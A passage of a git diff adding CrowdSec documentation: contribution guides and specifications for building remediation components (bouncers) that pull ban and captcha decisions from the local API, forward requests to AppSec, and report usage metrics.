linters and tests. You are encouraged to run these on your environment as well, before committing (see the "Testing" section above, and "Style guide" below). + +## Release branches + +When we decide to start working on a major or minor release (for example 1.5) we create a 1.5.x branch from master. New contributions are always on the master, but from time to time the master is merged to the release branch. The upcoming release branch does not receive code from anywhere than the master branch. + +As work progresses on the release branch, we eventually create pre-release tags (ex. 1.5.0-rc1) and finally a release tag (1.5.0). At this point, we create the Release (source tar, zip, binary and static), and push the button on the Goldberg Machine to publish the binary packages. + +This is where we create the 1.6.x branch and we put the 1.5.x in maintenance mode. A maintenance branch is divorced from master, and can receive code from branches other than master, to allow for backporting features and fixes. These lead eventually to _patch versions_ (1.5.1, 1.5.2) which correspond to git tags but don't have dedicated branches. + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/contributing/documentation.md b/crowdsec-docs/versioned_docs/version-v1.7/contributing/documentation.md new file mode 100644 index 000000000..efed458d4 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/contributing/documentation.md @@ -0,0 +1,43 @@ +--- +id: contributing_doc +title: Documentation +sidebar_position: 2 +--- + +# Contributing basics + +- Write Crowdsec documentation in Markdown and build the Crowdsec documentation using [docusaurus](https://docusaurus.io/) +- Docusaurus uses [markdown](https://docusaurus.io/docs/markdown-features) and [MDX](https://docusaurus.io/docs/markdown-features/react) +- The source code is in [GitHub](https://github.com/crowdsecurity/crowdsec-docs) +- The documentation is versioned and changes should be made across the relevant versions + +# Tools for contributors + +Crowdsec documentation is rendered using [docusaurus](https://docusaurus.io/) : + +- Documentation can be rendered locally +- PRs are rendered using amplify to staging env + +## Rendering locally + +- Clone the github repository + +- Run docusaurus locally + +```bash +cd crowdsec-docs/ +npm run start +``` + +## Previews + +Once you open a pull request on the documentation repository, it will be rendered on a staging environement to facilitate the review process. + +# Contributing + +Once you have made your local changes, open a pull request (PR). +If your change is small or you're unfamiliar with git, you can [make your changes using Github web editor](https://docs.github.com/en/repositories/working-with-files/managing-files/editing-files). + +In both cases, please make sure to include a meaningful description in your PR to facilitate review and triage. + +Once your change is accepted or further requested changes are made, it will be merged. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/contributing/getting_started.md b/crowdsec-docs/versioned_docs/version-v1.7/contributing/getting_started.md new file mode 100644 index 000000000..d6b1ffd50 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/contributing/getting_started.md @@ -0,0 +1,46 @@ +--- +id: getting_started +title: Getting Started +sidebar_position: 1 +--- + +## Getting Started + +You want to contribute to Crowdsec? Fantastic! + +In order to achieve this, this guide will provide you with all the needed information and guidance :+1: + +### Communication + +The main comunication channels of the project are: + +- [discord](https://discord.gg/crowdsec): [Discord](https://discord.com/) is the most common communication medium of the project, and is especially suitable for live interactions (chatting). +- [discourse](https://discourse.crowdsec.net/): [Discourse](https://www.discourse.org/) is a forum and is very useful to expose ideas and suggestions, or simply to formulate a question to which you didn't find answer on discord. +- [github](https://github.com/crowdsecurity/): Issues and Pull Requests are used to expose bugs and suggestions in a more formal way. + +Do not hesitate to join & ask your questions! + +## Making your first contribution + +### Find something to work on + +The first step to getting starting is to find something to work on. Help is always welcome, and no contribution is too small! + +Here are some things you can do today to start contributing: + +- Help improve the documentation +- Clarify code, variables, or functions that can be renamed or commented on +- Write test coverage +- Help triage issues + +### Find a good first topic + +There are multiple repositories within the Crowdsecurity organization. [Each repository](https://github.com/crowdsecurity/) has beginner-friendly issues that are a great place to get started on your contributor journey. For example, [crowdsecurity/crowdsec](https://github.com/crowdsecurity/crowdsec/issues) and [crowdsecurity/hub](https://github.com/crowdsecurity/hub/issues) have `help wanted` and `good first issue` labels for issues that don’t need high-level Crowdsec knowledge to contribute to. The `good first issue` label also indicates that Crowdsecurity Members are committed to providing extra assistance for new contributors. Another way to get started is to find a documentation improvement, such as a missing/broken link, which will give you exposure to the code submission/review process without the added complication of technical depth. + +## Contribution rules + +The main components of the project have their dedicated contribution pages : + +- [hub](/docs/contributing/contributing_hub) +- [crowdsec](/docs/contributing/contributing_crowdsec) +- [documentation](/docs/contributing/contributing_doc) diff --git a/crowdsec-docs/versioned_docs/version-v1.7/contributing/hub.md b/crowdsec-docs/versioned_docs/version-v1.7/contributing/hub.md new file mode 100644 index 000000000..b7f1dfb6e --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/contributing/hub.md @@ -0,0 +1,95 @@ +--- +id: contributing_hub +title: Hub +sidebar_position: 3 +--- + +Parsers, Scenarios, Collections allow the `Security Engine` to detect and block malevolent behavior. + +Supporting new services or improving the detection capabilities on existing software is a great way to contribute. + +Sharing your parsers, scenarios and collections on the hub allows other users to use them to protect themselves. + +# Contributing + +Anyone can open an issue about parsers/scenarios, or contribute a change with a pull request (PR) to the crowdsecuity/hub GitHub repository. You need to be comfortable with git and GitHub to work effectively. + +To get involved : + +- Have a look at open [issues](https://github.com/crowdsecurity/hub/issues) and [pull requests](https://github.com/crowdsecurity/hub/pulls) +- Clone the hub repository +- Create/Modify parsers/scenarios/collections +- Create/Modify tests to ensure proper coverage +- Open a pull request + +## Guidelines + +### Technical Documentation + +The following explains how to create and test: + +- [parsers](/docs/parsers/create/) +- [scenarios](/docs/scenarios/create/) + +### Collections + +It often makes sense for a new parser or scenario to be added to an existing [collection](/docs/collections/format), or create a new one. + +If your parsers and/or scenarios cover a new or specific service, having a dedicated collection for this service makes sense. +In other cases, having a parser for `SpecificWebServer` access logs would justify a collection as it might also include [all the default http related scenarios](https://hub.crowdsec.net/author/crowdsecurity/collections/base-http-scenarios). + + +### Scenarios + +When you create a scenario, you must fill some fields in the [`labels`](/log_processor/scenarios/format.md#labels), else the CI won't accept the contribution. +Those `labels` are: + - `classification`: this array contains the CVE ID and the [Mitre Techniques](https://attack.mitre.org/techniques/enterprise/) related to the scenario (when applicable) + - `spoofable`: between 0 and 3, is the chance that the attacker behind the attack can spoof its origin + - `confidence`: between 0 and 3, is the confidence that the scenario will not trigger false positive + - `behaviors`: an existing behavior in [this file](https://github.com/crowdsecurity/hub/blob/scenario_taxonomy/taxonomy/behaviors.json) + - `label` : a human readable name for the scenario + - `cti` : (optional) true or false, used to specify that a scenario is mainly used for audit rather than detecting a threat + +[Here](/log_processor/scenarios/format.md#labels) is the `labels` documentation for more information. + +Here is an example: + +``` +labels: + service: ssh + confidence: 3 + spoofable: 0 + classification: + - attack.T1110 + label: "SSH Bruteforce" + behavior: "ssh:bruteforce" + remediation: true +``` + + +## Preparing your contribution + +Before asking for a review of your PR, please ensure you have the following: + +- tests: Test creation is covered in [parsers creation](/docs/parsers/create/) and [scenarios creation](/docs/scenarios/create/). Ensure that each of your parser or scenario is properly tested. +- documentation: Please provide a `.md` file with the same name as each of your parser, scenario or collection. The markdown is rendered in the [hub](https://hub.crowdsec.net). +- documentation: If you're creating a collection targeting a specific log file, be sure to provide an acquis example as : + + +```yaml + + ## Acquisition template + + Example acquisition for this collection : + + ```yaml + filenames: + - /var/log/xxx/*.log + labels: + type: something + ``` +``` + +## Open your PR + +Everything is all set, you can now open a PR, that will be reviewed and merged! diff --git a/crowdsec-docs/versioned_docs/version-v1.7/contributing/specs/bouncer_appsec_specs.mdx b/crowdsec-docs/versioned_docs/version-v1.7/contributing/specs/bouncer_appsec_specs.mdx new file mode 100644 index 000000000..6d8d79109 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/contributing/specs/bouncer_appsec_specs.mdx @@ -0,0 +1,547 @@ +--- +id: bouncer_appsec_specs +title: Specifications for Remediation Component and AppSec Capabilities +--- + +import useBaseUrl from "@docusaurus/useBaseUrl" + +## Context + +A **Remediation Component** *(aka **Bouncer**)* is enforcing **decisions** made by **CrowdSec Security Engine** based on detected malicious behaviors [\[See figure 1\]](#crowdsec-security-engine-diagram), or Directly with CrowdSec SaaS endpoint channeling public, crowdsec or user made blocklsits. + +A **decision** dictates what action should be applied on incoming traffic from a specific **IP** or **IP-Range**. *(It could also be on the user scope or any other, but these specifications will focus on the IP and Range scopes)* + +The Bouncer communicates with the Security Engine to retrieve the decisions +The Bouncer applies the appropriate remediation *(we’ll only focus on ban/block and captcha)* + +**The following specifications cover** + +* [Basic Bouncer features](#basic-bouncer-features) + * Communication with the Local API (aka LAPI) or its SaaS counterpart + * Decisions retrieval and storage + * Remediation +* [Request Forwarding](#appsec-capability-request-forwarding) (for AppSec capabilities) + * Communication with the AppSec endpoint + * Forwarding protocol +* [Config and support requirements](#extra-details-and-requirements) + +Here is an existing remediation components *(bouncers)* for Nginx and its lua dependency. +It's one of the most complete bouncer with AppSec capabilities and Metrics. A good example to follow for your implementation. +[*cs-nginx-bouncer*](https://github.com/crowdsecurity/cs-nginx-bouncer) *\+ [lua-cs-bouncer](https://github.com/crowdsecurity/lua-cs-bouncer/)* (dependency) + +And a more recent and soon finalized [Node JS bouncer](https://github.com/crowdsecurity/nodejs-cs-bouncer) (for a different implementation, to be used in code) + +⚠️ **Your bouncer must always delete/clean it’s resources on shutdown** + +## Basic Bouncer features + +The bouncer connects to LAPI to retrieve the decisions. +It applies a remediation to incoming requests if the source IP can be found in the decisions list. +The remediation can be blocking or displaying a captcha. + +Fields in purple and/or with the mention (configurable) must appear in the config file, the case of the parameters names can be UPPER or LOWER depending on the type of config file, match the appropriate standard for the bouncer you’re implementing. Try to group them in a logical way in the config file template. + +Details about the config file in the [Installation chapter](#installation--documentation) + +### Connecting to the Local API (LAPI) + +You can find the swagger here [https://crowdsecurity.github.io/api_doc/lapi/](https://crowdsecurity.github.io/api_doc/lapi/) +Details about the endpoints parameters can be found [in the appendix](#appendix) + +* URL to Local API endpoint: configurable field **api_url** + * Default value likely to be: `http://121.0.0.1:8080` + * Security Engine Config : /etc/crowdsec/config.yaml // api.server.listen_url + * For now we only have a v1 of LAPI, bouncer states the version he’s using +* Authentication + * Either by API key passed in the header **X-Api-Key:** configurable field **api_key** + * Or via certificate configurable fields **tls.cert_file \+ tls.key_file** + +### Retrieving decisions + +There are 2 ways for retrieving decisions: + +* **Live Mode**: “Each time” a request is handled we call CrowdSec Security Engine +* **Stream Mode**: We store all decisions in memory and periodically call for delta update + +*We’ll prefer Stream Mode as it’s better for latency for a memory cost that is very acceptable.* +The Stream mode will be the default one in config: configurable field mode + +#### Live Mode + +The live mode endpoint is **/decisions** + +* Parameters + *Only the following fields are to be considered for a basic bouncer implementation* + * **scope:** value **IP** (forced for live mode) + * **value:** the source IP making the request + * **origins:** empty by default mean all origins are considered + * editable by the user to look in a specific origin: configurable field origins + * Origins are comma separated strings (e.g. crowdsec,capi,cscli) + * **contains**: empty by default mean *true* + * Indicates if it should check range decisions + * No need to make this configurable +* Caching + * To avoid consecutive calls for decisions about an IP we’ll cache the decisions per IP + * default **1s** configurable field cache_expiration +* Timeout + * If LAPI doesn’t respond + * Default **200ms** configurable field lapi_timeout + * **Fallback**: + * Fallback in case of timeout + * By default passthrough : let him pass + * Possible values: passthrough, ban, captcha + * configurable field lapi_failure_action + +#### Stream Mode (by default) + +The stream mode endpoint is **/decisions/stream** +Allows to pull all decisions from LAPI and then periodically get a delta + +* Get Decisions + * ⚠️ To retrieve the initial full list, use the **startup \= true** parameter + * This is necessary if you don’t have the decision list in memory + * Following calls need to have startup \= false + * Recommended pull period **10s** configurable field stream_update_frequency + * Parameters + + *Only the following fields are to be considered for a basic bouncer implementation* + + * **scopes**: default to “ip,range” for stream mode + * **origins**: + * empty by default mean all origins are considered + * editable by the user to look in a specific origin: configurable field origins (same field as for live) + * Origins are comma separated strings (e.g. crowdsec,capi,cscli) + * **scenarios_containing** and **scenarios_not_containing** + * Means that the decisions are linked (or not) to alerts triggered by such or such scenario + * The check done by LAPI is a string.contains(...) + * Default as empty configurable fields scenarios_containing && scenarios_not_containing +* Storing decisions + * ℹ️ The number of decisions you can expect is: + * 30-70k ips from Fire (nominal case) + * Can vary a lot depending on the BL subscription of the user + * Have the code be able to handle 100k to be safe for the nominal case + * Storing in memory is ideal, we recommend to convert IPs to integers + * The decisions format is the following: + * See [decisions example in appendix](#decision-example) + * There can be multiple decisions per IP + * Store each decisions independently as they have their own remediation action and TTL + * Ranges are stored too + * ⚠️ do not transform the range into its containing IPS + * Pruning + * When you GET you’ll receive “deleted” decisions + * Also Clean after a GET or periodically for decisions with expired TTL + +### Apply remediation + +If a remediation is found and for the LAPI timeout fallback here are the remediations that should be supported + +* Remediation type + * Remediation property will be “ban”, “captcha” or potentially any custom string + * **ban** (block) + * Return a 403: configurable field ban_return_code + * Accompanied by an HTML body + * Default page model [provided (single HTML file)](#ban-template-page) + * Page path configurable: configurable field ban_template_path + * **captcha** + * Various type of captcha must be supported + * configurable fields: + * captcha _provider + * captcha_secret_key + * captcha_site_key + * captcha_template_path + * Type to support + * RE-captcha + * Turnstile + * Hcaptcha + * onFails + * Re-present the captcha + * ⚠️ Cache: in order not to repeat the captcha too often + * **1h** cache **per IP** after successful captcha configurable field cache_expiration + * **Custom remediation** + * Defaults to ignore/ban/captcha configurable field **remediation_fallback** + * If ignored, you don’t even need to store the decision +* Remediation priority + * There is a priority in the remediation to take in account if an IP has multiple + * Default priority order **Ban** then **Captcha** +* Metrics see below and in the [detailed metrics specs](/contributing/specs/bouncer_metrics_specs) + +### Logging + +* When a remediation occurs, log something containing timestamp,sourceIP,remediationType + +### Metrics + +Remediation component can push information and internal metrics to LAPI about their configuration and the amount of requests/packets/bytes/… that have been blocked or allowed. + +The data is pushed on the `/usage-metrics` endpoint of LAPI. +Metrics push internal should be configurable, with a default value of 30 minutes and not allow intervals smaller than 10 minutes. Setting the interval to 0 disables the push. + +The body will contain information about: + +- The remediation component type and version +- Name and version of the operating system the RC is running on +- Enabled features flags (should be empty for the vast majority of RC) +- Meta information about the payload itself: the push interval in seconds, the startup timestamp in UTC, the push timestamp in UTC +- A list of metrics: + - Each metric must have a name, value, unit, and, optionally, one or more labels + +The metrics track the number of blocked requests per decision origin, so the RC must track internally the origin of every decision (based on the `origin` field from the decision stream). +Each push must reset the internal counter for the metrics (i.e., we have only sent the number of blocked requests since the last push). +Each metric about blocked requests must have an `origin` label whose value is the origin of the decision and a `remediation_type` label whose value is the type of remediation that was applied (e.g., `ban` or `captcha`). +A `processed` metric must also be present that counts the number of requests that were processed by the RC (regardless of whether they were blocked or not). This metric has no label. + +A full sample payload can be found in the [appendix](#metrics-payload). + +## AppSec Capability (request forwarding) + +An additional activatable capability of the bouncer is to forward the request to the security engine allowing more advanced behavior detection. + +The request forwarding is a blocking process, when the AppSec capability is activated the bouncer should wait for a response at each request forwarding to process with the request handling. + +AppSec is disabled by default and activable if url exists configurable field appsec_url + +* Connect to AppSec endpoint + * The security engine should have activated the AppSec and a listen address should be present in the SecurityEngine acquisition + * Default endpoint `http://127.0.0.1:7422` + * Auth by API key passed in the header **X-Api-Key:** same param as LAPI apikey +* Request forwarding + * You can find information about the forwarding protocol on this doc page: [https://docs.crowdsec.net/docs/next/appsec/protocol/](https://docs.crowdsec.net/docs/next/appsec/protocol/) + * When forwarding the query to the AppSec endpoint, the security engine will evaluate the actions to do and return the appropriate response code that the remediation component should display. + * ⚠️ At the exception of codes **500** and **401** which mean that the forwarding or authentication to the endpoint failed. For those response codes you should trigger the fallback described there after.. + * ⚠️ As stated earlier this is a blocking process + * **Timeout** 200ms configurable field appsec_timeout + * **Fallback**: + * Fallback in case of timeout or response failure (500,401…) + * By default passthrough : let him pass + * Possible values: passthrough, ban, captcha + * configurable field appsec_failure_action + +## Extra Details and Requirements + +* The name and version of the bouncer are specified via its **user-agent** communicating with LAPI + * The format is the following : *crowdsec-\-bouncer/v\* + * E.g *crowdsec-firewall-bouncer/v1.42* +* Ideally the bouncer would work for windows versions (if any) and openBSD (if any) +* The bouncer should be able to handle **HTTP 1 & 2 requests**, or mention the limitations + +## Installation / Documentation + +Usually we (at CrowdSec) will deal with **documentation**, **install scripts** and **packaging**. But any pointers from the bouncer’s developper that can help those processes is welcome on the following: + +Let us know what minimum version of the service is required to run the bouncer + +Provide a brief description of the steps necessary to install and configure the bouncer +⚠️Note that the bouncers configuration files must be located in ***/etc/crowdsec/bouncers/*** + +* The bouncer config file name pattern is the following: *crowdsec-\-bouncer.conf* +* Example of config file */etc/crowdsec/bouncers/crowdsec-apache-bouncer.conf* + +Ideally, at install or warmup of the bouncer, a check is made that the *crowdsec service* is running and the bouncer key is automatically created and added to the bouncer config. Provide advice about the best way and phase to perform those actions for this bouncer + +## Developing / Testing + +Here are some pointers and doc to help you test/mock actions for the bouncer during development. + +### Init & Decisions management + +First you must create a bouncer key for your bouncer to communicate with LAPI. +Actions on bouncers can be done via the *cscli bouncers …* commands. +Example: + +``` +$ sudo cscli bouncer add myTestBouncer + +API key for 'myTestBouncer': + + 26WsbH6MLaKUaRilA1zQ4LyYbMz3LvOsDel9bEZXv+U + +Please keep this key since you will not be able to retrieve it! + +$ sudo cscli bouncers list +──────────────────────────────────────────────────────────────────────────────────────── + Name IP Address Valid Last API pull Type Version Auth Type +──────────────────────────────────────────────────────────────────────────────────────── + myTestBouncer ✔️ 2024-01-29T09:24:24Z api-key +──────────────────────────────────────────────────────────────────────────────────────── +``` + +Note that the IP address, type and version will appear after the first connection of the bouncer + +### Populating decisions + +You can have decisions with various origins, here are a few ways to populate them + +#### Local decisions & Community blocklist + +If you installed your CrowdSec on a server with internet access, and it’s able to communicate with our Central API, it will periodically retrieve the community blocklist. If you are in a situation here your crowdsec shares signal you’ll get between 10 and 50k decisions from the community blocklist (decisions origin will be CAPI), if not you’ll receive a fraction of that. + +#### Manually populating decisions + +You can add and remove decisions manually: +Public documentation [available here](https://doc.crowdsec.net/u/user_guides/decisions_mgmt/) + +* Via **cscli decisions add/delete.** + * E.g. sudo cscli decisions add \-i 1.2.3.4 + * Those decisions origin will be “*cscli*” +* Via **cscli decisions import**. + * E.g. sudo cscli decisions import \-i ./myBl.txt \--format values + * Those decisions origin will be “*cscli-impor*t” + +#### Testing failures + +Shutdown the *crowdsec service* to test the failure cases. + +#### Testing AppSec + +You can refer to the AppSec documentation to test request forwarding. + +* AppSec [quickstart guide here](https://doc.crowdsec.net/docs/next/appsec/quickstart), [Testing example here](https://doc.crowdsec.net/docs/next/appsec/installation#making-sure-everything-works) +* E.g. Install virtual patching and try to query a */rpc2* or a *.env* file + +## Appendix + +### CrowdSec Security Engine diagram +**Figure 1** : Interactions around **CrowdSec Security Engine** +
+
+ +
+
+ +### Details about LAPI endpoints parameters + +**GET /decisions/stream** + +* **startup:** set it to **TRUE** for the **initial call** to get all decisions *(when False you’ll get the delta from your last call)* +* **scopes: “**ip,range” is the only relevant values when remediating on IPs +* **origins:** Leave blank to allow all origins, test your configurable origins with [those tests](#decision-example) +* **scenarios_containing:** leave blank by default, allow change in config +* **scenarios_not_containing:** leave blank by default, allow change in config + +**GET /decisions** + +* **scope: “**ip” is the only relevant values when remediating on IPs +* **value:** the ip itself as a string +* **type:** filtering on type of decisions, leave blank by default to get any decisions +* **ip:** ignore/leave blank: shortcut for scope:ip \+ value +* **range:** ignore/leave blank: shortcut for scope:range \+ value +* **contains:** leave blank by default, configurable by user +* **origins:** Leave blank to allow all origins, test your configurable origins with [those tests](#decision-example) +* **scenarios_containing:** leave blank by default, allow change in config +* **scenarios_not_containing:** leave blank by default, allow change in config + +### Decision example + +```javascript +{ + "deleted": [ + { + "duration": "-75h34m54.509128301s", + "id": 55873846, + "origin": "CAPI", + "scenario": "crowdsecurity/ssh-bf", + "scope": "Ip", + "type": "ban", + "value": "61.155.106.101" + }, +], + "new": [ + { + "duration": "167h59m20.890999684s", + "id": 55898280, + "origin": "CAPI", + "scenario": "crowdsecurity/CVE-2022-35914", + "scope": "Ip", + "type": "ban", + "value": "45.95.147.236" + }, +] +} + +``` + +### Ban template page + +```javascript + + + + CrowdSec Ban + + + + + + +
+
+
+
+ +

CrowdSec Access Forbidden

+

You are unable to visit the website.

+
+ Your IP seems to have been blocked, check our CTI info about it or contact this website admin +
+
+
+

+ This security check has been powered by +

+ + + + + + + + + + + + + + + + + + + + + + CrowdSec + + +
+
+
+ + + + + +``` + +### Metrics payload + +More details about metrics in [Metrics specs](/contributing/specs/bouncer_metrics_specs/) + +```json +{ + "remediation_components": [ { + "type": "my-bouncer-stat", + "version": "1.0.0", + "os": { + "name": "ubuntu", + "version": "22.04" + }, + "features": [], //Always empty / invalid / ignored for bouncers + "meta": { + "window_size_seconds": 1800, + "utc_startup_timestamp": 123123, + "utc_now_timestamp": 123123123123 + }, + "metrics": [ + { + "name": "blocked", + "value": 100, + "labels": { + "origin": "fire", + "remediation_type": "ban" + }, + "unit": "request" + }, + { + "name": "blocked", + "value": 40, + "labels": { + "origin": "crowdsec", + "remediation_type": "ban" + }, + "unit": "request" + }, + { + "name": "blocked", + "value": 60, + "labels": { + "origin": "crowdsec", + "remediation_type": "captcha" + }, + "unit": "request" + }, + { + "name": "blocked", + "value": 100, + "labels": { + "origin": "lists:tor" + "remediation_type": "ban" + } + }, + { + "name": "processed", + "value": 500, + "unit": "request" + } + ] +}]} +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/contributing/specs/bouncer_metrics_specs.mdx b/crowdsec-docs/versioned_docs/version-v1.7/contributing/specs/bouncer_metrics_specs.mdx new file mode 100644 index 000000000..91c45eb17 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/contributing/specs/bouncer_metrics_specs.mdx @@ -0,0 +1,369 @@ +--- +id: bouncer_metrics_specs +title: Remediation Component Metrics +--- + +## Overview + +This document provides a comprehensive guide for developers to implement the "[Remediation Metrics](https://docs.crowdsec.net/docs/next/observability/usage_metrics)" feature in a remediation component. The remediation metrics feature allows remediation components to report [raw metrics](https://docs.crowdsec.net/u/service_api/quickstart/metrics/#raw-metrics) about their activity to the Local API (LAPI), which can then be forwarded to the Central API (CAPI) for monitoring and analytics purposes. + +The remediation component should send the following data: + +- "**dropped**" metrics: the total number of units (`byte`, `packet` or `request`) for which a remediation (`ban`, `captcha`, etc.) has been applied. + For this metrics, data should be split into origin/remediation pairs. +- "**processed**" metrics: the total number of units that has been processed by the remediation component. + It must also include the number of "bypass" (i.e. when no decision were applied). +- "**active_decisions**" metrics: it represents the number of decisions currently known by the remediation component. + +Additionally, some relevant time values must be sent: + +- "**window_size_seconds**": The time interval between metric reports (typically 1800 seconds / 30 minutes). + We recommend a minimum delay of 15 minutes between each transmission. +- "**utc_startup_timestamp**": When the remediation component started. This can vary depending on implementation: + - For daemon bouncers: timestamp when the daemon process started + - For "on-demand" bouncer like the PHP one: timestamp of the first LAPI call/pull + + +As an example, here is the kind of expected payload that you will have to build and send: + +### Metrics Payload example + +```json +{ + "remediation_components": [{ + "name": "my-bouncer", + "type": "crowdsec-custom-bouncer", + "version": "1.0.0", + "feature_flags": [], + "utc_startup_timestamp": 1704067200, + "os": { + "name": "linux", + "version": "5.4.0" + }, + "metrics": { + "meta": { + "window_size_seconds": 1800, + "utc_now_timestamp": 1704069000 + }, + "items": [ + { + "name": "dropped", + "value": 150, + "unit": "request", + "labels": { + "origin": "CAPI", + "remediation": "ban" + } + }, + { + "name": "dropped", + "value": 25, + "unit": "request", + "labels": { + "origin": "cscli", + "remediation": "ban" + } + }, + { + "name": "dropped", + "value": 12, + "unit": "request", + "labels": { + "origin": "cscli", + "remediation": "captcha" + } + }, + { + "name": "processed", + "value": 1175, + "unit": "request" + }, + { + "name": "active_decisions", + "value": 342010 + } + ] + } + }] +} +``` + + +For more details on valid payloads, please refer to the [API specification](https://crowdsecurity.github.io/api_doc/index.html?urls.primaryName=LAPI#/Remediation%20component/usage-metrics). + + + +## Architecture Overview + +### Key Features + +Implementing remediation metrics involves several capabilities: + +1. **Metrics Storage**: + - Store "remediation by origin" counters and relevant time values in a persistent storage. + - Update or delete stored values +2. **Metrics Building**: + - Retrieve metrics in storage + - Format metrics according to the API specification +3. **Metrics Transmission**: + - Send metrics to LAPI `usage-metrics` endpoint + - Update metrics items so that next push will only send fresh metrics + +### Core Concepts + +- **Origins**: The source of a remediation (e.g., `CAPI`, `lists:***`, `cscli`, etc). + + As we want to track the total number of processed items, we also need to be able to count the number of "bypass". That's why you may use a `clean` and `clean_appsec` origins to track bypass remediations for regular and AppSec traffic respectively. + +- **Remediations**: The final action effectively applied by the remediation component (e.g., "ban", "captcha", "bypass") + + The remediation stored in metrics **must be the final remediation effectively applied by the bouncer**, not the original decision from CrowdSec. Examples: + + - **Captcha Resolution**: If the original decision was "captcha" but the user has already solved the captcha and can access the page, store "bypass" as the final remediation. + + - **Remediation Transformation**: If the original decision was "ban" but the bouncer configuration transforms it to "captcha" (and the user hasn't solved it yet), store "captcha" as the final remediation. + + - **Fallback Scenarios**: If a timeout occurs and the bouncer applies a fallback remediation, store the fallback remediation, not the original intended one. + + +## Implementation Guide + +### 1. Storage + +#### 1.1 Cached Items + +Every time the remediation component is involved, storage should be used to persist data: + +- origin and remediation +- time values + +For example, you could have the following cached items: + +``` +TIME_VALUES = { + "utc_startup_timestamp": , // When the bouncer was started or used for the first time + "last_metrics_sent": , // Last successful metrics transmission +} + +ORIGINS_COUNT = { + "": { + "": + } +} +``` + +Storing a `last_metrics_sent` value makes it easy to compute the `window_size_seconds` value. + +#### 1.1 Metrics Tracking + +Once you know the final remediation that has been applied, you should increment the count of the related "origin/remediation" pair. + +Below are a few lines of pseudo-code to help you visualize what the final implementation might look like. + +```pseudocode +function updateMetricsOriginsCount(origin: string, remediation: string, delta: int = 1): int + // Get current count from cache + currentCount = getFromCache("ORIGINS_COUNT[origin][remediation]") ?? 0 + + // Update count (delta can be negative for decrementing) + newCount = max(0, currentCount + delta) + + // Store updated count in cache + storeInCache("ORIGINS_COUNT[origin][remediation]", newCount) + + return newCount +``` + +### 2. Metrics Building Process + +In order to send metrics, you will have to retrieved cached values and build the required payload. + +#### 2.1 Build Metrics Items + +The main information belongs to the metrics items: + +```pseudocode +function buildMetricsItems(originsCount: object): object + metricsItems = [] + processedTotal = 0 + originsToDecrement = {} + + for each origin in originsCount: + for each remediation, count in origin: + if count <= 0: + continue + + // Track total processed requests + processedTotal += count + + // Prepare for decrementing after successful send + originsToDecrement[origin][remediation] = -count + + // Skip bypass remediations in "dropped" metrics + if remediation == "bypass": + continue + + // Create "dropped" metric for blocked requests + metricsItems.append({ + "name": "dropped", + "value": count, + "unit": getMetricUnit(), // "request", "packet", or other relevant unit + "labels": { + "origin": origin, + "remediation": remediation + } + }) + + // Add total processed metric + if processedTotal > 0: + metricsItems.append({ + "name": "processed", + "value": processedTotal, + "unit": getMetricUnit() // "request", "packet", or other relevant unit + }) + + // Add active_decisions metric (if supported) + activeDecisions = getActiveDecisionsCount() + if activeDecisions > 0: + metricsItems.append({ + "name": "active_decisions", + "value": activeDecisions, + }) + + return { + "items": metricsItems, + "originsToDecrement": originsToDecrement + } +``` + +Note that it's important to record the number sent for each origin/remediation in order to reset the respective counter after the push. + +#### 2.2 Build Complete Metrics Payload + +In addition to the metrics items, payload requires properties and meta attributes: + + +```pseudocode +function buildUsageMetrics(properties: object, meta: object, items: array): object + // Prepare bouncer properties + bouncerProperties = { + "name": properties.name, + "type": properties.type, + "version": properties.version, + "feature_flags": properties.feature_flags ?? [], + "utc_startup_timestamp": properties.utc_startup_timestamp + } + + // Add optional OS information + if properties.os: + bouncerProperties["os"] = { + "name": properties.os.name, + "version": properties.os.version + } + + // Prepare metadata + metricsMetadata = { + "window_size_seconds": meta.window_size_seconds, + "utc_now_timestamp": meta.utc_now_timestamp + } + + // Build final payload + return { + "remediation_components": [{ + ...bouncerProperties, + "metrics": { + "meta": metricsMetadata, + "items": items + } + }] + } +``` + +### 3. Complete Push Metrics Implementation + +```pseudocode +function pushUsageMetrics(bouncerName: string, bouncerVersion: string, bouncerType: string): array + // Get timing information + startupTime = getStartUp() + currentTime = getCurrentTimestamp() + lastSent = getFromCache("CONFIG.last_metrics_sent") ?? startupTime + + // Get current metrics + originsCount = getOriginsCount() + metricsData = buildMetricsItems(originsCount) + + // Return early if no metrics to send + if metricsData.items.isEmpty(): + log("No metrics to send") + return [] + + // Prepare properties and metadata + properties = { + "name": bouncerName, + "type": bouncerType, + "version": bouncerVersion, + "utc_startup_timestamp": startupTime, + "os": getOsInformation() + } + + meta = { + "window_size_seconds": max(0, currentTime - lastSent), + "utc_now_timestamp": currentTime + } + + // Build and send metrics + metricsPayload = buildUsageMetrics(properties, meta, metricsData.items) + + // Send to LAPI/CAPI + sendMetricsToAPI(metricsPayload) + + // Decrement counters after successful send + for origin, remediationCounts in metricsData.originsToDecrement: + for remediation, deltaCount in remediationCounts: + updateMetricsOriginsCount(origin, remediation, deltaCount) + + // Update last sent timestamp + storeMetricsLastSent(currentTime) + + return metricsPayload +``` + +## Useful Tips + +### When to Update Metrics + +Call `updateMetricsOriginsCount()` after each remediation decision is **effectively applied**: + +```pseudocode +// After determining and applying the final remediation +initialRemediation = getRemediationForIP(clientIP) +origin = initialRemediation.origin +finalAction = applyBouncerLogic(initialRemediation.action) + +// Increment the counter with the final action +updateMetricsOriginsCount(origin, finalAction, 1) +``` + +### When to Push Metrics + +Typically push metrics on a scheduled interval (e.g., every 30 minutes): + +```pseudocode +// In your scheduled metrics push job +try: + sentMetrics = pushUsageMetrics("my-bouncer", "1.0.0", "crowdsec-custom-bouncer") + if sentMetrics.isEmpty(): + log("No metrics were sent") + else: + log("Successfully sent metrics", sentMetrics) +catch Exception as e: + log("Failed to send metrics", e) +``` + +### Existing Implementations + +Remediation metrics have already been implemented in various languages and frameworks. You can use it as inspiration for your own implementation: + +- The [LUA library](https://github.com/crowdsecurity/lua-cs-bouncer/) used by the [NGINX remediation component](https://docs.crowdsec.net/u/bouncers/nginx/) +- The [PHP library](https://github.com/crowdsecurity/php-remediation-engine) used by the [WordPress remediation 